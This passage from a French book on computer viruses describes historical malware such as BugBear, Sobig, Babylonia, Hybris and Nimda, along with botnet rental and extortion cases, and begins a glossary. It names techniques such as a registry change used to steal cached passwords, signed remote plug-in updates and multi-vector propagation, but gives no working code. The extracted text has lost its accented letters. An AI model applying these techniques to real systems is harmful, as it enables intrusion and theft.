banquepopulaire.fr, bics.fr, bpic.fr, bpnord, frbred.fr, ca-alpesprovence.fr, ca-alsace-vosges.fr, ca-midi.fr, ca-normand.fr, ccf.fr, cin.fr, covefi.fr, cpr.fr, credit-agricole.fr, credit-du-nord.fr, creditlyonnais.fr, creditmutuel.fr, caisse-epargne.fr, eurocardmastercard.tm.fr, nxbp.fr, smc.fr, transat.tm.fr.

Au dmarrage de la machine, si celle-ci appartient lun des domaines cits plus haut, la cl de registre responsable du processus de numrotation automatique est dsactive :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ InternetSettings "EnableAutodial" = 00 00 00 00

Le virus recherche alors les mots de passe prsents dans la mmoire cache et les envoient une adresse prdnie choisie alatoirement dans une liste. Une fois ce travail effectu, il restaure la cl de registre. Ce processus rend particulirement vulnrable ces machines qui, rappelons-le, ont galement une porte drobe mise la disposition du pirate par le virus. Rcemment, dautres virus se sont intresss la collecte de mots de passe lis aux activits bancaires. Certains virus de la famille W32/Mimail@MM sen font une spcialit. W32/Mimail.I@MM prsente lutilisateur infect une fentre qui imite celles proposes par le service de paiement scuris PayPal. Il cherche ainsi extorquer le code secret des cartes bancaires pour lenvoyer par courrier lectronique des individus qui pourraient ensuite sen servir.

Figure 10.16 cran prsent par le virus W32/Mimail.i@MM 1. ENCYCLOPEDIE NAI, W32/Bugbear.b@MM. http://vil.nai.com/vil/content/v_100358.htm.

10.8 Savoir se mettre jour

283

Lintrt dune telle collecte dinformations devient vite obsolte. Une fois leffet de surprise pass, le virus perd sa raison dtre. Dans la plupart des cas, les sites miroirs ou adresses mails ddis la rception des informations captures sont vite reprs et ferms. Les auteurs envisagent alors une nouvelle version, quils esprent plus performante. An dviter de fcheuses interfrences entre leurs diverses crations, ils dcident eux-mmes de la dure de vie de chacune dentres elles. Lun des exemples est W32/Sobig@MM. Ce virus et ses variantes a fait lobjet dune tude complte par le LURHQ Threat Intelligence Group ; jen conseille fortement la lecture1.
Tableau 10.4 Les dates de fin de propagation des variantes de W32/Sobig@MM Variante A B C D E F Date de dcouverte 9 janvier 2003 18 mai 2003 31 mai 2003 18 juin 2003 25 juin 2003 18 aot 2003 Date de fin de vie programme absente 31 mai 2003 8 juin 2003 2 juillet 2003 14 juillet 2003 10 septembre 2003

10.8 SAVOIR SE METTRE JOUR


Alors quil travaillait encore chez Trend Micro, Marc Blanchard a ralis une tude des processus de communication et de survie des prochains virus. Il sest bas pour cela sur des travaux en cours dans la communaut des crateurs de virus (Benny/ 29A) qui imaginaient un protocole particulier offrant un canal de communication furtif et chiffr entre tous les virus qui souhaiteraient lutiliser. Les virus installs sur le systme pourront communiquer avec un module central appel Virus Communication Interface (VCI). Cette interface utiliserait les mcanismes dIPC (Inter Process Communication) ou le protocole WormNET pour favoriser les changes dinformation entre les virus et leur donner des ordres. Car ce sont des virus modulaires, totalement diffrents de ceux que nous connaissons aujourdhui. Ils arrivent vides sur le systme, prts recevoir nimporte quel code malicieux de la VCI , explique Marc2.
1. LURHK (2003a), Sobig.a and the Spam You Received Today. http://www.lurhq.com/sobig.html. LURHK (2003b), Sobig.e Evolution of the Worm. http://www.lurhq.com/sobig-e.html. LURHK (2003c), Sobig.f Examined. http://www.lurhq.com/sobig-f.html. 2. BLANCHARD, Marc, (2002), Etude des processus de communication et de survie des prochains virus. Disponible sur demande auprs de son auteur.

Dunod La photocopie non autorise est un dlit

284

Chapitre 10. Dernires volutions et perspectives

Tout cela nest aujourdhui que de la science-ction ; nanmoins, et pour mieux se propager, les virus actuels cherchent communiquer pour leur propre compte. Le brsilien Vecna, ancien membre du groupe 29A, la dmontr avec deux de ses virus. Le 3 dcembre 1999, W95/Babylonia@M fut trouv dans le groupe de discussion alt.crackers sous forme dun chier daide intitul serialz.hlp1. Ce chier tait suppos contenir plus de 17000 numros de licence pour logiciels non enregistrs ; il nen tait rien ! Louverture du chier, initialisait la propagation du virus, via la messagerie lectronique (protocole SMTP) et, sur le systme local. Un chier de 4 kilo-octets BABYLONIA.EXE tait copi dans la racine C:\. Par cette porte drobe, le virus tentait de se connecter priodiquement au Japon sur lun des sites de lauteur an desprer pouvoir se mettre jour et changer ses caractristiques. Quatre modules additionnels (plug-ins) au moins furent ainsi diffuss : DROPPER.DAT pour rinstaller le virus aprs une dsinfection incomplte. GREETZ.DAT pour afficher un message compter du 15 janvier :
W95/Babylonia by Vecna (c) 1999 Greetz to RoadKil and VirusBuster Big thankz to sok4ever webmaster Abracos pra galera brazuca!!! --Eu boto fogo na Babilonia!

IRCWORM.DAT pour une propagation via les canaux mIRC2. POLL.DAT pour informer par e-mail lauteur du virus afin quil puisse comptabiliser les infections. La fermeture des pages incrimines fut plusieurs fois demande au fournisseur de service Internet hbergeant les pages personnelles de Vecna. Le 8 dcembre, les chiers furent indisponibles. Et Vecna crivait sur sa page daccueil :
The "BABYLONIA" which now spreading knock the world . Surely.i admit "This virus make use of SOK4EVER". Our Plicy is not "Do many people harm" but " Freedom Of Speech" but.its activity doesnt match my plicy.i never plan to "do harm" so i delete this account immidiately. "http://sok4ever.zone.ne.jp/vecna" doesnt exist anymore. i made this site for "someone who want to know Virus Infomation can easily find " Of cause All of this site contens are for Your Own Risk! and i dont hava any responsibility whatever you suffer.

1. VAN OERS, Marius (fvrier 2000), Digital Rivers of Babylonia. Virus Bulletin, fvrier 2000, pp6-7. 2. mIRC : dialogue en direct sur lInternet Relay Chat.

10.8 Savoir se mettre jour

285

Environ un an plus tard en septembre 2000, Vecna diffusait W32/Hybris@MM1. Lide de ce virus lui vint juste aprs la diffusion de Babylonia, alors quil constatait ses dpends que pour bloquer les mutations, il sufsait de fermer le site initiateur. Tout comme son prdcesseur, Hybris arrivait par mail sous la forme dune pice jointe. Son excution entranait son installation. Selon les cas (en fonction des plugins associs), le virus afchait une spirale ou un cercle noir; il pouvait aussi entraner linaccessibilit certains sites anti-virus du commerce. Ayant perfectionn son ide initiale le virus utilisait un forum de discussion pour y trouver les modules recherchs. Vecna avait choisi pour cela un forum non modr et trs couru : alt.comp.virus. Les modules rcuprs taient crypts et signs par le biais dun algorithme du type RSA avec une cl prive de 128 octets. Le virus, contenant la cl publique associe, tait mme de naccepter que des composants signs et reconnus. Trs vite, une trentaine de modules furent dtects et lon nota les comportements suivants: affichage dune spirale, insertion dune copie du virus dans les archives ZIP et RAR, interdiction daccs certains sites anti-virus, recherche, depuis le PC infect, dordinateurs contenant le cheval de Troie SubSeven pour distribution du virus ces machines, codage polymorphique du virus avant son envoi par mail, infection des fichiers EXE locaux, tlchargement dautres plug-ins depuis des pages WEB hberges au Vietnam (site ferm le 20 novembre 2000).
From: Use-Author-Address-Header@[127.1] Subject: i_rz D[CZ CzSjaLenCO Newsgroups: alt.comp.virus View: (This is the only article in this thread) | Original Format Date: 2000-12-10 23:13:40 PST IMGDDNFKFBKCHDMJILRGJGIGHFDJKIPHGOHGFFMHGJNBIPEIMPMPQHELCBROHKIOQN GNINOZNMDEIJPEIOIDQLHBQBMZFHDZCEJBRJEHNPDHJLIKFGGGDKFZCKJCOFPDMIGP HGQJHJCGFFHBQKJMONHIFNDILMLJKZPGFJLMIKHGEZIBFIGOROFPHICZONRJEEOCGZ MJPZCJMJLMOIPFFZCJPDLGCONHLGOMKDOKIHQDIPOZHICZDEGDPHPZRBFEDJPEEDFL FJNKENROQJGCNZGNJKJGIPHPCDKZNKOLFGEBPHEZLOPDOIQZMERJFGFFKOIHCLCFMD [continues].... [more coded lines] GNCMRENJDFJZNNGJMBREKOINQPMD ****
Figure 10.17 Exemple de message destin Hybris et disponible sur alt.comp.virus 1. NIKISHIN, Andy (janvier 2001), Harnessing Hybris, Virus Bulletin, janvier 2001, pp6-7.

Dunod La photocopie non autorise est un dlit

286

Chapitre 10. Dernires volutions et perspectives

Un autre module expdiait des e-mails avec une pice jointe dun nom laissant souvent sous-entendre un caractre pornographique (exemple : sexynain.scr). Lexpditeur semblait tre :
From: Hahaha <hahaha@sexyfun.net>

Il sagissait dun nom usurp et les propritaires du domaine sexyfun.net ragirent immdiatement cette mise en cause. Le sujet et le corps du mail taient variables. Les franais retiendront :
Les 7 coquins nains Blanche neige et les sexe nains

10.9 INTGRER DE MULTIPLES TECHNIQUES DE PROPAGATION


Comme nous lindiquions au dbut de ce document, les virus programmes reprsentent aujourdhui la majorit des mass-mailers. Leur principal intrt rside en leur capacit dintgrer dans un mme ensemble plusieurs techniques de propagation. Lexemple de W32/Nimda@MM est particulirement convaincant. Les premires traces du virus sont repres le 18 septembre 2001. Il se prsente sous la forme dun e-mail apparemment vide accompagn dun chier joint (le virus lui-mme). Comme nombre de ses prdcesseurs, il utilise une vulnrabilit dInternet Explorer1 permettant lexcution du code malveillant sous Outlook, ds que lutilisateur visualise le mail. Lattachement est ainsi excut sans que lutilisateur aie ncessairement recourt au double-clic. Une fois un poste infect, il se propage en utilisant plusieurs mcanismes : Par e-mail : envoi dune copie de lui-mme tous les correspondants trouvs dans le carnet dadresses du poste infect ou dans des fichiers HTML prsents sur le systme. Il utilise pour cela sa propre routine SMTP et parfois la MAPI de Microsoft. Par infection locale : il analyse les disques durs la recherche de fichiers lis Internet aux noms prdfinies (combinaison de noms et dextension tels que *DEFAULT*, *INDEX*, *MAIN*, *README* et .HTML, .HTM, .ASP). Il ajoute du code JavaScript dans chaque fichier trouv. Si lun deux est visualis, le programme viral, pralablement copi dans le mme rpertoire, sera automatiquement excut. Le virus infecte galement certains fichiers PE aux extensions EXE dont il a trouv le nom dans la base de registres. Par propagation en utilisant les partages de disques sous Windows. Il installe un fichier lextension EML (ou parfois NWS). Un utilisateur parcourant
1. MS01-020 : Incorrect MIME Header Can Cause IE to Execute E-mail Attachment.

10.10 Investir les modes poste poste

287

lun de ces partages rseaux pourra se trouver infecter au travers de la prvisualisation de lexplorateur Windows. travers les serveurs Microsoft IIS vulnrables : la mthode utilise nest pas reprise de CodeRed mais de W32/CodeBlue (dcouvert le 7 septembre 2001)1. Le ver active une session temporaire TFTP sur la machine infect afin de se transmettre sur la machine vulnrable. travers des consultations Web : le petit script install dans les fichiers HTML des serveurs compromis permet la transmission du virus sur la machine qui visualise ces pages. travers lexploitation danciennes portes drobes laisses par W32/CodeRed.C.worm. louverture de fichiers RTF (Rich Text Format) : ces fichiers sont grs par la DLL, RICHED20.DLL. Le virus ayant cras cette DLL avec son propre code, chaque ouverture dun document RTF par Word ou Wordpad se solde par lexcution du code viral.

Ds 1999, certains chercheurs annonaient la venue prochaine dun tel virus exploitant de nouvelles techniques pour se propager au travers de lInternet. Eugne Kaspersky indiquait dans un article du Virus Bulletin de fvrier 1999 tous les dtails de dune telle infection2. Il prsentait un fonctionnement en trois tapes : Pntration de la machine locale depuis Internet (via la messagerie ou une page Web). Infection du rseau local. Retour vers Internet (via la messagerie, un serveur Web ou lInternet Information Server (IIS de Microsoft). Deux ans aprs, les prdictions se ralisaient

Dunod La photocopie non autorise est un dlit

10.10 INVESTIR LES MODES POSTE POSTE


Illgal lorsque non libres de droits, lchange de fichiers musicaux et vido est une pratique de plus en plus courante sur le NET. Plusieurs dizaines de logiciels gratuits permettent ces changes de fichiers entre les internautes. Ce mode dchange devenant courant, les utilisateurs et leurs machines sont maintenant de nouvelles cibles. On estime 2,4 millions le nombre dutilisateurs de KaZaA en septembre 2004.

1. Il sagit de la vulnrabilit MS00-078 connue sous le titre de Web Server Folder Traversal Vulnerability. Codered utilisait la vulnrabilit MS01-033. 2. Kaspersky Eugne (1999), Viruses and the Internet Whatever Next ?, Virus Bulletin. Fvrier 1999. pp 14-17.

288

Chapitre 10. Dernires volutions et perspectives

Sur ces rseaux, on retrouve en premier lieu des virus ddis. Il en existe des milliers que les anti-virus dtectent gnralement de manire gnrique (W32/Generic !p2p). Ils diffusent les outils dattaque et despionnage que nous prsentons tout au long de ce chapitre ; il sagit principalement de portes drobes et de renieurs de clavier ou de mot de passe. Viennent ensuite les robots ; nous en dtaillerons le fonctionnement un prochain paragraphe. Ils compltent le travail des prcdents dispositifs dattaque et permettent une utilisation distance des ressources de la machine des ns criminelles. Mme si la plupart dentre eux sont pilots via des canaux IRC, quelques autres sont directement contrls via les rseaux P2P eux-mmes. Les mass-mailers sont les troisimes htes privilgis des rseaux peer to peer. Alors que le public trop tendance ne les voir quau contact des messageries lectroniques, ceux ci possdent souvent des mcanismes de recherche de rpertoires partages ou ils sy inltrent sous des noms dempreint pour mieux se propager. Les nombreuses variantes de W32/Bagle@MM sont particulirement efcaces dans ce domaine.

10.11 USURPER INTELLIGEMMENT LES ADRESSES


La technique nest pas nouvelle mais les virus du moment utilisent particulirement bien cette mthode. W32/BugBear@MM, dj cit dans ce document, fait de lusurpation dexpditeur. Du fait de cette pratique, un message infect arrivant destination ne vient pas ncessairement de la personne indique dans lentte. Ces virus font aussi de lusurpation intelligente dadresse et de domaine. Sils trouvent, par exemple, les adresses pierre@domino.com et paul@north.org, le nom dexpditeur retenu devient un mlange des deux, tel que pierre@north.org. Cette technique, galement exploite par certaines variantes de W32/ Sobig@MM, explique en partie sa forte propagation en 2004 : bien quaffubl dune adresse errone, lexpditeur nest pas ncessairement un inconnu. Cela rend ainsi le destinataire moins mant.

10.12 RECHERCHER LAVAL DE LUTILISATEUR


Recevoir, excuter et rexpdier un mass-mailer est une pratique gnralement involontaire. Faire sciemment cet envoi lensemble de ses correspondants est un exercice que jai moi mme pratiqu mon corps dfendant. Jexprimentais alors le mass-mailing consentant !

10.12 Rechercher laval de lutilisateur

289

Le 29 octobre 2002, revenant de congs et lapproche dHalloween, je reois sur ma machine personnelle, un message mindiquant quune carte virtuelle mattend sur le site FriendGreetings.com. Ayant encore un pied en vacances et la carte semblant provenir dun membre de ma famille, je clique sur le lien indiqu.

Figure 10.18 Message en provenance de FriendGreetings

Il mest alors propos de tlcharger, puis dinstaller, un logiciel applicatif qui doit me permettre de visualiser correctement le message virtuel qui mattend.

Dunod La photocopie non autorise est un dlit

Figure 10.19 FriendGreetings doit tre install sur la machine

Jaccepte linstallation en rpondant positivement diverses autres requtes. La prsentation professionnelle trompe dnitivement ma vigilance.

290

Chapitre 10. Dernires volutions et perspectives

Figure 10.20 FriendGreetings sinstalle

Dautres boites de dialogue safchent lcran. Press den nir, et sans lire leur contenu, je rpond invariablement par lafrmative. Je suis enn rcompens : une belle citrouille me souhaite un joyeux Halloween.

Figure 10.21 Ma carte virtuelle de FriendGreetings

10.13 Linvasion des robots

291

Alors que je mapprte fermer et dtruire ce courrier, mon attention est attire par lemballement du compteur de messages de ma boite denvoi. Je ferme alors prcipitamment ma machine pour mintresser aux dernires dcouvertes qui peuvent avoir eu lieu pendant mes quelques jours de vacances. Passant dans mon environnement professionnel, je tombe rapidement sur lalerte Friend Greeting application et retrouve, avec effroi, une impression cran de la dernire fentre qui navait pas retenue mon attention : il mavait t demand mon accord pour un envoi publicitaire lensemble de mes contacts.

Figure 10.22 Laccord de licence FriendGreetings

Le marketing viral tait n et dautres exemples de ce type virent rapidement le jour. Aprs avoir aliment les forums spcialiss o lon change son point de vue sur laspect viral ou non du phnomne, il fut dcid dattribuer le qualicatif dapplication indsirable ces nouveaux venus.
Dunod La photocopie non autorise est un dlit

10.13 LINVASION DES ROBOTS


Lanne 2003 a t celle de la naissance des robots. Parmi les plus connus, citons les familles Gaobot, Spybot et Randex. Pour simplanter, ils utilisent des mthodes classiques. Sils ne sont pas eux mme autoreproducteurs, ils sinstallent sur les machines non protges quils rencontrent par le biais du courrier lectronique (spam) ou dune vulnrabilit exploite loccasion dune visite sur un site Internet qui les diffusent. Jusqu prsent, linnovation technique fait dfaut. Cest la quantit qui prime et non la qualit. Des centaines de ces programmes sont distribus, utiliss et abandonns aussitt quun anti-virus jour les dtecte.

292

Chapitre 10. Dernires volutions et perspectives

Lorsquun virus est prolique, ses variantes dpassent rarement la centaine. lheure ou jcris ces lignes, la variante BE de Mydoom vient dtre annonce (21 fvrier 2005). Il sagit de la 57e variante du virus. De son ct, Loveletter rentre dans sa cinquime anne dexistence, il nen est qu sa 93e variante. La situation est totalement diffrente pour les robots. Un an aprs leur version originale, certains dentre eux ont fait lobjet de plusieurs milliers de variantes et les concepteurs de produit anti-virus en dcouvrent entre 25 et 50 nouveaux chaque jour.

Figure 10.23 Aspect quantitatif des robots

Une fois prsent sur une machine, le robot initialise son propre canal de commande. Chaque variante se connecte sur un canal IRC distinct. Elle rejoint ainsi ses semblables et attend les ordres de son commanditaire. On dit alors que lensemble forme un botnet.

Figure 10.24 Aspect quantitatif des robots

10.13 Linvasion des robots

293

L ou le bot circule, largent circule ! Ceux qui se cachent derrire les robots : envoient des messages de type spam ou phishing, collectent des adresses e-mails, cherchent les cls de certains logiciels et CD de jeux, mnent des attaques lencontre de sites quils ranonnent, capturent des mots de passe, etc.

En novembre 2004, Peter Haag ralisait une tude sur les robots1. Il explique que des millions dentre eux sont louer et quun grand botnet peut tre constitu de plusieurs dizaines de milliers de machines. Ses chiffres sont loquents ; en voici certains retranscrits par mes soins en Euro : un accs non exclusif une machine : 0,15 Euros, 0,33 Euros en mode exclusif, un rseau de 500 robots : 380 Euros, la location de 20.000 serveurs relais (proxies) pour spammer vaut 75 Euros par semaine, les attaques DDOS se ngocient entre 38 et 750 Euros. Tout cela nest pas de la science-ction, dans son rapport de criminologie virtuelle2, le docteur Peter Troxler cite une source Scotland Yard : Des petits groupes de jeunes gens crent des rseaux de 10 000 30 000 ordinateurs et les louent quiconque peut les payer. Selon cette tude, le prix ne dpasse pas les 100 dollars par heure. Les acheteurs et les vendeurs effectuent les paiements via des comptes anonymes ou des transferts de la Western Union. Le rapport cite galement le cas de Jay Echouafni. Au cours de lt 2004, cet homme daffaires du Massachusetts aux Etats-Unis, a engag les services de pirates pour lancer des attaques contre des sites web commerciaux de trois de ses concurrents. Un des complices dEchouafni, appel Ashley, recruta trois pirates adolescents, rpondant aux pseudonymes Emp, Rain et sorCe (Joshua Schichtel, Jonathan Hall et Lee Walker). Le dnomm sorCe, rsidant au Royaume-Uni, possdait un botnet constitu de 5 000 10 000 ordinateurs. Il les a utilis pour lancer lattaque. La maa utilise aussi ces mthodes pour intimider des entreprises. Plusieurs cas de chantage sont cits dans le panorama de la cybercriminalit 2004 du CLUSIF3. En mars 2004, lun dentre eux aurait t organis par des syndicats du crime oprant partir de la Russie. Ces membres auraient pris pour cibles des sites web de paris du monde entier et menac de lancer des attaques par dni de service contre ces sites si leurs propritaires ne payaient pas une ranon allant parfois jusqu 30 000 livres sterling.
1. Peter Haag (SWITCH Security Workshop). Etude reprise par Alain Hugentobler, 14 dcembre 2004. http://www.unige.ch/dinf/projets/pres_corres10_14102004/Botnet_10_14122004.pdf. 2. Rapport de criminologie virtuelle McAfee Fvrier 2005. 3. https://www.clusif.asso.fr/index.asp.

Dunod La photocopie non autorise est un dlit

294

Chapitre 10. Dernires volutions et perspectives

Figure 10.25 Le site du FBI

Pour protger leurs activits et viter ces attaques, les bookmakers ont collabor troitement avec le NHTCU1. Les matres chanteurs prsums ont t arrts en Russie en juillet 2004. Le CLUSIF cite aussi laventure de BetCBSports en reprenant la copie dun courriel dintimidation : You have 3 choices. You can make a deal with us now before the attacks start. You can make a deal with us when you are under attack. You can ignore us and plan on losing your Internet business. Largent attire donc les racketteurs. Les casinos en ligne, les sites de pari, les socits de services de paiement en ligne et les grandes entreprises sont aujourdhui les principales cibles. Demain le phnomne peut stendre aux PME et mme aux particuliers. Les maas et autres associations criminelles qui sengouffrent dans la cybercriminalit ont leur disposition dimportants moyens nanciers. Ils peuvent aussi sattacher les services de spcialistes qui de gr ou de force devront travailler au dveloppement de nouveaux outils dattaques. Ceux ci risquent donc de devenir de plus en plus sophistiqus. Aprs la quantit viendra peut tre le temps de la qualit.

1. NHTCU : National Hi-Tech Crime Unit.

10.14 Conclusion : la fin de lenfantillage Lappt du gain

295

10.14 CONCLUSION : LA FIN DE LENFANTILLAGE LAPPT DU GAIN


Tous les exemples que jai retenus dans ce chapitre nous dmontrent que le but dun virus nest pas la destruction massive sans discernement. Se cachant derrire de nombreuses gamineries, il semble beaucoup plus rflchi. Avec FriendGreetings, nous avons vu une drive anecdotique vers le virus publicitaire. Il a maintenant laiss la place aux adwares et aux spywares. Alors quil a fallu une quinzaine danne pour que la wildlist cite plus de 1500 virus diffrents, on comptabilise dj plus de 7000 pubiciels et espiogiciels. Lappt du gain a dop les concepteurs. Il y a bien sur toujours des joueurs pour qui crire un programme malveillant nest quun challenge intellectuel ou une manire de chercher une reconnaissance au travers dun pseudo. Lappt du gain et largent facile sont pourtant les principaux motifs des attaques actuelles. Il me semble possible de modliser la criminalit sur Internet de la manire suivante : 10 % de joueurs et de jeunes irresponsables, 60 % de petits indlicats qui esprent raliser une fraude mineure, 30 % dactivit lie au grand banditisme. Au regard de la majorit des virus prsents dans nos TOP-10, les liens qui stablissent entre les auteurs de virus et les autres acteurs de la criminalit informatique semblent durablement sintensier. Des gangs de malfaiteurs organiss et des escrocs professionnels arpentent donc maintenant Internet. Ils recherchent de fonds soutirer, et toute occasion est bonne prendre. Les virus qui ont retenu notre attention du fait de leur forte propagation comportaient trs souvent divers chevaux de Troie ddis des tches indlicates et frauduleuses.
Dunod La photocopie non autorise est un dlit

Il napparat plus improbable, ni incongru, quun jour ou lautre certains virus soient clairement utiliss dans des buts criminels en lien avec une idologie totalitaire ou un certain banditisme en col blanc. Certains dentre nous voient dj en W32/Badtrans@MM, W32/Bugbear@MM, W32/Sobig@MM et/ou W32/Mimail@MM les prmices dun tel changement de cap. Mme si ceci nest pas juridiquement dmontr, il est clair que ces virus sintressent au domaine nancier. Certains tats tels que les tats-Unis, la Chine ou la Core du Sud ne cachent plus leur intrt pour le dveloppement et lutilisation des nouvelles technologies dans un but offensif. Dautres pays tels que la France et Isral restent plus discrets mais semblent pourtant mener des tudes en ce domaine. Les rcentes attaques qui se sont produites ces derniers mois annoncent peut tre une nouvelle destine pour les virus informatiques : la n de lenfantillage et lentre de ceux-ci dans la cour des grands.

Abrviations et glossaire

LA DEMANDE (On Demand) Mode statique danalyse anti-virale induite par une action volontaire de lutilisateur. ADWARE Programme charg de grer laffichage des publicits. Le terme anglais adware est issu de la contraction des mots ADvertising et softWARE. Le terme franais est la contraction des mots PUBlicit et logICIEL. AJOUT Qualificatif appliqu aux virus qui ajoutent leur propre code au sein des fichiers quils infectent en entranant ainsi une augmentation de taille de lhte. ALIAS Autre nom sous lequel un virus est connu ; exemple W95/CIH, alias Chernobyl. ANTI-DEBUGGING Qualificatif appliqu aux virus utilisant des sries dinstructions ou algorithmes rendant impossible un dsassemblage via les outils ddis cet effet. Le chercheur devra neutraliser ces fonctions avant de pouvoir entreprendre sa recherche. APPAT (Bait) Programme leurre utilis par les chercheurs anti-virus dont la finalit est de se faire infecter. APPENDING Voir Ajout. AVERT (Anti-Virus and Vulnerability Emergency Response Team) Groupe de chercheurs anti-virus attach au concepteur de produits de scurit McAfee. http://www.mcafeesecurity.com/us/security/home.asp. BACKDOOR Voir Porte drobe. BOMBE LOGIQUE Programme contenant une fonction malveillante gnralement associe un dclenchement diffr. Cette fonction a t rajoute de faon illicite un programme hte

298

Vers & virus

qui conservera son apparence anodine et son fonctionnement correct jusquau moment choisi par le programmeur. BOTS (Robots) Programmes malveillants permettant une prise de contrle distance de machines vulnrables qui forment un rseau dattaque (ou botnet). CAIDA (Cooperative Association for Internet Data Analysis) Organisation proposant des outils danalyse et des tudes lis linfrastructure de lInternet afin den garantir une meilleure robustesse. http://www.caida.org/ CAP Nom attribu un macro-virus apparu en 1997 et dorigine vnzulienne. Abrviation de Carlos Andrs Prez, figure politique du Venezuela CARO (Computer Anti-Virus Researchers Organization) Lieu dchanges privs entre spcialistes de la lutte anti-virale. Lun de ses rles est lunification des noms des virus. Il permet aussi aux spcialistes des changes rapides et scuriss. Il na aucune ouverture vers le public et les mdias. CERT (Coordination center computer Emergency Response Team) http://www.cert.org En France, le CERT-IST (Computer Emergency Response Team Industrie, Services et Tertiaire) est une association de Loi 1901, qui a pour vocation dassurer pour ses adhrents des services de prvention des risques et dassistance aux traitements dincidents. Le CERT-IST est un centre dalerte et de raction aux attaques informatiques destin aux entreprises franaises. http://www.cert-ist.com CHARGE FINALE (Payload) Fonction malveillante gnralement attribue un virus et se dclenchant, ou non, sur un critre donn (gchette). CHEVAL DE TROIE (Trojan Horse) Programme en apparence inoffensif contenant une fonction illicite cache et connue de lattaquant seul. Cette fonction est utilise notamment pour pntrer par effraction dans lordinateur et consulter, modifier ou dtruire des informations. CLUSIF (CLub de la Scurit des Systmes dInformation Franais) Fonde en 1984, le CLUSIF est une association loi de 1901 qui regroupe des personnes travaillant au sein dentreprises utilisatrices dans tous les secteurs de lindustrie et des services, ou dorganismes publics, aussi bien que dans des entreprises ayant une offre commerciale autour de la scurit des systmes dinformation. www.clusif.asso.fr. COMPAGNON Qualificatif appliqu aux virus plaant leur code dans un fichier spar qui, malgr une extension diffrente, porte le mme nom que le fichier cible.

Glossaire

299

CONTROLE DINTGRIT Processus de surveillance consistant tablir, pour chaque lment rput sain, un traitement mathmatique aboutissant une photographie de rfrence (ou code checksum, CRC), pour la comparer au fil du temps avec limage du moment. COOKIE Tmoin de connexion. lment dinformation transmis lors de la visite dun site Web. Sauvegard sur lordinateur de linternaute, il pourra tre consult par le serveur distant lors de visites ultrieures. COURRIER NON SOLLICIT Voir Spam. CRYPTE Qualificatif sappliquant aux virus se dcomposant en deux parties : un programme de dcryptage stable et une suite dinstructions cryptes qui forment le corps du virus. DDoS (Distributed Denial of Service) Dni de Service Distribu, attaque par saturation. Attaque informatique visant gnrer des arrts de service depuis des ordinateurs diffrents. DFENSIF Qualificatif sappliquant aux virus ayant des fonctions de protection, voire dattaque, contre les logiciels antivirus non jour au moment de leur apparition. DLOCALIS Qualificatif sappliquant aux virus programmes plaant leur code dans des secteurs inutiliss du disque. Ils changent ensuite les paramtres des rpertoires pour re-diriger le lancement du programme vers le code viral. Sans la moindre modification interne, lensemble des fichiers infects possdent donc tous la mme adresse (cluster) de dpart. DIALER Logiciel de connexion tlphonique. DoS Dni de Service, attaque par saturation.
Dunod La photocopie non autorise est un dlit

DROPPER Programme malveillant capable dimplanter un virus en mmoire ou dans une cible initiale. EICAR (European Institute of Computer Anti-virus Research) Association denvergure europenne regroupant des universitaires, des industriels et des experts civils et militaires ; tous dcids lutter contre lcriture, la prolifration et lutilisation des virus et autres programmes malveillants portant atteinte la scurit individuelle et collective. http://www.eicar.org ESPIOGICIEL Voir Spyware. EXPLOIT Programme ou technique permettant dutiliser une vulnrabilit dcouverte au sein dun logiciel informatique prdfini.

300

Vers & virus

FIREWALL (Pare-Feu) Systme de protection plac en amont dun rseau pour assurer la scurit des informations par filtrage des entres et contrle des sorties selon des procdures automatiques tablies. FLOODING (Inondation) Dni de Service qui consiste inonder un serveur de milliers de paquets IP de grosse taille, dans le but de le saturer et dentraner sa dfaillance. FURTIF Qualificatif sappliquant aux virus camouflant leur prsence en renvoyant chaque requte du systme dexploitation une information errone et conforme celle quil devrait recevoir dans un environnement sain. GACHETTE (Trigger) Critre prdfini induisant lactivation dune fonctionnalit malveillante (payload) parfois associe un virus. GNRATEUR DE VIRUS Programme permettant la fabrication aise de virus en choisissant interactivement des caractristiques parmi diffrentes options proposes. GNRATEUR DE CHIFFREMENT (Mutation Engine) Programme qui, applique un virus existant, le crypte avec un module lui-mme variable (polymorphie). GNRIQUE (analyse) Mthode de dtection issue de la recherche par signature dont les critres de recherche ont t tendus afin de permettre la dtection de lensemble des virus dune mme famille, que ceux ci soient connus ou inconnus. HEURISTIQUE (analyse) Mthode de dtection qui repose sur lanalyse des fonctionnalits dune infection et non sur la recherche dune signature virale. Le processus sapplique trouver des instructions suspectes et des anomalies structurelles de fichiers laissant supposer la prsence dun programme auto-reproducteur. HOAX Voir Rumeur. INFECTEUR RAPIDE (Fast Infector) Virus ayant un propagation trs rapide. Une fois en mmoire, il est mme dinfecter un fichier lors dune simple manipulation. Pour ces virus, il nest pas indispensable dexcuter un fichier sain pour linfecter, une simple copie dun rpertoire vers un autre savre suffisante. INFOVIRUS Voir Observatoire virus. ITW (In-The-Wild) Abrviation cre et utilise par la WildList Organization International indiquant quun virus informatique a t rencontr dans la nature par certains de ses correspondants. http://www.wildlist.org/.

Glossaire

301

KEYLOGGER Voir Renifleur de clavier. LETTRE CHANE Message sappuyant sur la crdibilit des destinataires. Il fait appel la pit, la gnrosit et/ou la superstition et fait ventuellement miroiter un enrichissement personnel. MACRO-VIRUS Virus utilisant les macro-commandes intgres aux logiciels de bureautique tels que ceux des suites Office de Microsoft. Ces routines se retrouvent incorpores au sein des fichiers de donnes (traitement de texte, tableur) et se propagent avec eux. MASS-MAILER Virus utilisant la messagerie lectronique pour se propager. MONITEUR DE PROGRAMME Processus danalyse dynamique des oprations de lecture et dcriture en mmoire. Les accs disques et les fonctions systme sensibles sont surveills. En cas de doute elles seront interdites ou ncessiteront une autorisation pralable de lutilisateur. MULTIPARTITE Qualificatif ddi aux virus infectant la fois les zones systme et les fichiers. MUTATION ENGINE Voir Gnrateur de Chiffrement. NUKER Outil de plantage Windows entranant, par exemple, laffichage du fameux cran bleu qui oblige redmarrer le systme. OBSERVATOIRE VIRUS Structure dinformation cre par le CLUSIF afin de suivre lvolution du phnomne virus en France. Les donnes rsultantes de ces tudes sont disponibles sur le site Infovirus. https://www.clusif.asso.fr/fr/production/infovir/
Dunod La photocopie non autorise est un dlit

